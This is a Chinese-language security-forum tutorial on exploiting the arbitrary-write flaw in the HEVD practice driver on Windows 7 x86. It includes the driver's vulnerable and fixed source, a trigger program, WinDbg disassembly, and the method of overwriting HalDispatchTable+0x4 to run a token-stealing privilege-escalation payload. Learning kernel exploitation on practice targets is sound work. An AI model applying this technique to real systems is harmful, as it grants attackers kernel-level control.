首页
社区
课程
招聘
[原创]内核漏洞学习[4]-HEVD-ArbitraryWrite
发表于: 2021-11-2 12:31 13134

[原创]内核漏洞学习[4]-HEVD-ArbitraryWrite

2021-11-2 12:31
13134

HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习

Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

环境准备:

Windows 7 X86 sp1 虚拟机

使用VirtualKD和windbg双机调试

HEVD 3.0+KmdManager+DubugView

这个漏洞相对来说不算难。没有什么太多的前置知识。

分析ArbitraryWrite.c源码, What = UserWriteWhatWhere->What;Where = UserWriteWhatWhere->Where;这两个指针,没有验证地址是否有效,直接拿来进行读写操作,在内核模式下,对不该访问的地址进行读写,会蓝屏。。

安全版本检查内存是否正确:

在不安全的版本中,没有对两个指针what和where 指向的地址进行验证,那我们可以利用这点,让指针访问我们的shellcode的位置,执行shellcode从而提取。

那么现在的问题就是what和where中写入什么内容,如何访问执行到我们的shellocde。

1.存在漏洞的ArbitraryWriteIoctlHandler函数对应的IO控制码HEVD_IOCTL_ARBITRARY_WRITE

2._WRITE_WHAT_WHERE结构,8个字节大小,what和where各占四个字节。所以先构造一个大小为8的buf,修改what和where指针,实现任意地址写

3.任意地址写测试

运行,触发漏洞。

4.任意代码执行测试

上述的测试已经实现任意地址写,我们将shellcode写入,如何实现执行payload呢。

首先要what指针覆盖为payload的地址,where指针修改为能指向payload地址的指针

前人已经发现了windows不常被使用的一个函数,利用函数NtQueryIntervalProfile,可以实现shellcode的执行,达到任意代码执行效果

windbg反汇编NtQueryIntervalProfile函数

84160ed6处 会调用函数KeQueryIntervalProfile,反编译此函数

8411f438处, 有指针数组,call dword ptr [nt!HalDispatchTable+0x4 ,这里就是我们payload要覆盖的地方,执行Ring0 Shellcode的主体必须是Ring0程序。这种利用方法是这样的:设法修改内核API导出表(如SSDT、HalDispatchTable等),将内核API函数指针修改为事先准备好的Shellcode地址,然后在本进程中调用这个内核API。最好选择劫持那些冷门内核API函数,否则一旦别的进程也调用这个API,由于Shellcode只保存在当前进程的Ring3内存地址中,别的进程无法访问到,将导致内存访问错误或内核崩溃。

利用漏洞将HalDispatchTable表第一个函数HalQuerySystemInformation入口地址篡改,,最后调用该函数的上层封装函数NtWueryIntervalProfile,从而执行Ring0 Shellcode

HalDispatchTable结构:

在查HalDispatchTable结构,NtQueryIntervalProfile函数的过程中,发现这个利用有很多,可以更进一步学习。

获取HalDispatchTable地址+0x4地址

编写Ring0 payload

利用漏洞向HalDispatchTable地址+0x4地址处写入&payload

调用NtQueryIntervalProfile,执行payload

思路是先得到内核模块基址,将其与HalDispatchTable在内核模块中的偏移相加

获取ntkrnlpa.exe基址,在内核模式下
ntkrnlpa.exe基址,在用户模式下
HalDispatchTable 地址,在用户模式下
计算 HalDispatchTable+0x4 的地址,利用偏移,地址是内核模式下

官方给出的函数HalDispatchTable = GetHalDispatchTable();

payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。

相关内核结构体:

在内核模式下,fs:[0]指向KPCR结构体

payload:

运行exp,提权成功:

在安全版本中已经给出,对what和where指针进行验证,robeForRead函数,ProbeForwrite函数,通过验证在进行操作

其他

参考链接:

0day安全 | Chapter 22 内核漏洞利用技术 (wohin.me)

TJ:https://bbs.pediy.com/thread-252506.htm#msg_header_h2_2
........

 
 
 
// ProbeForRead函数,检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐,(msdn)
//ProbeForwrite常规检查用户模式缓冲区是否实际位于地址空间的用户模式部分,是可行的,并且正确对齐。(msdn)
// ProbeForRead函数,检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐,(msdn)
//ProbeForwrite常规检查用户模式缓冲区是否实际位于地址空间的用户模式部分,是可行的,并且正确对齐。(msdn)
NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
 
    PAGED_CODE();
 
    __try
    {
 
 
        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
 
        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;
 
        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
 
#ifdef SECURE
 
    //安全版本,对地址进行验证,是否有效。
 
 
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
        ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
 
        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Write\n");
 
 
 
        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
 
 
    return Status;
}
NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
 
    PAGED_CODE();
 
    __try
    {
 
 
        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
 
        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;
 
        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
 
#ifdef SECURE
 
    //安全版本,对地址进行验证,是否有效。
 
 
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
        ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
 
        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Write\n");
 
 
 
        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
 
 
    return Status;
}
 
 
case HEVD_IOCTL_ARBITRARY_WRITE:
            DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
            Status = ArbitraryWriteIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
            break;
case HEVD_IOCTL_ARBITRARY_WRITE:
            DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
            Status = ArbitraryWriteIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
            break;
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
#include<stdio.h>
#include<Windows.h>
 
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
int main()
{
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where = (PULONG_PTR)0x41414141;
    Buffer->What = (PULONG_PTR)0x41414141;
    DWORD recvBuf;
    // 获取句柄
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
 
 
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("Failed \n");
        return 0;
    }
 
 
    DeviceIoControl(hDevice, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, 8, NULL, 0, &recvBuf, NULL);
 
    return 0;
}
#include<stdio.h>
#include<Windows.h>
 
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
int main()
{
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where = (PULONG_PTR)0x41414141;
    Buffer->What = (PULONG_PTR)0x41414141;
    DWORD recvBuf;
    // 获取句柄
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
 
 
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("Failed \n");
        return 0;
    }
 
 
    DeviceIoControl(hDevice, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, 8, NULL, 0, &recvBuf, NULL);
 
    return 0;
}
 
 
 
 
what -> &payload
where -> HalDispatchTable+0x4
what -> &payload
where -> HalDispatchTable+0x4
 
kd> uf nt!NtQueryIntervalProfile
.........
84160ecd 7507            jne     nt!NtQueryIntervalProfile+0x6b (84160ed6)  Branch
 
nt!NtQueryIntervalProfile+0x64:
84160ecf a1acebf783      mov     eax,dword ptr [nt!KiProfileInterval (83f7ebac)]
84160ed4 eb05            jmp     nt!NtQueryIntervalProfile+0x70 (84160edb)  Branch
 
nt!NtQueryIntervalProfile+0x6b:
84160ed6 e83ae5fbff      call    nt!KeQueryIntervalProfile (8411f415)
 
.........
kd> uf nt!NtQueryIntervalProfile
.........
84160ecd 7507            jne     nt!NtQueryIntervalProfile+0x6b (84160ed6)  Branch
 
nt!NtQueryIntervalProfile+0x64:
84160ecf a1acebf783      mov     eax,dword ptr [nt!KiProfileInterval (83f7ebac)]
84160ed4 eb05            jmp     nt!NtQueryIntervalProfile+0x70 (84160edb)  Branch
 
nt!NtQueryIntervalProfile+0x6b:
84160ed6 e83ae5fbff      call    nt!KeQueryIntervalProfile (8411f415)
 
.........
kd>uf nt!KeQueryIntervalProfile
..........
nt!KeQueryIntervalProfile+0x14:
8411f429 8945f0          mov     dword ptr [ebp-10h],eax
8411f42c 8d45fc          lea     eax,[ebp-4]
8411f42f 50              push    eax
8411f430 8d45f0          lea     eax,[ebp-10h]
8411f433 50              push    eax
8411f434 6a0c            push    0Ch
8411f436 6a01            push    1
8411f438 ff15fcf3f783    call    dword ptr [nt!HalDispatchTable+0x4 (83f7f3fc)]
8411f43e 85c0            test    eax,eax
8411f440 7c0b            jl      nt!KeQueryIntervalProfile+0x38 (8411f44d)  Branch
 
..........
kd>uf nt!KeQueryIntervalProfile
..........
nt!KeQueryIntervalProfile+0x14:
8411f429 8945f0          mov     dword ptr [ebp-10h],eax
8411f42c 8d45fc          lea     eax,[ebp-4]
8411f42f 50              push    eax
8411f430 8d45f0          lea     eax,[ebp-10h]
8411f433 50              push    eax
8411f434 6a0c            push    0Ch
8411f436 6a01            push    1
8411f438 ff15fcf3f783    call    dword ptr [nt!HalDispatchTable+0x4 (83f7f3fc)]
8411f43e 85c0            test    eax,eax
8411f440 7c0b            jl      nt!KeQueryIntervalProfile+0x38 (8411f44d)  Branch
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//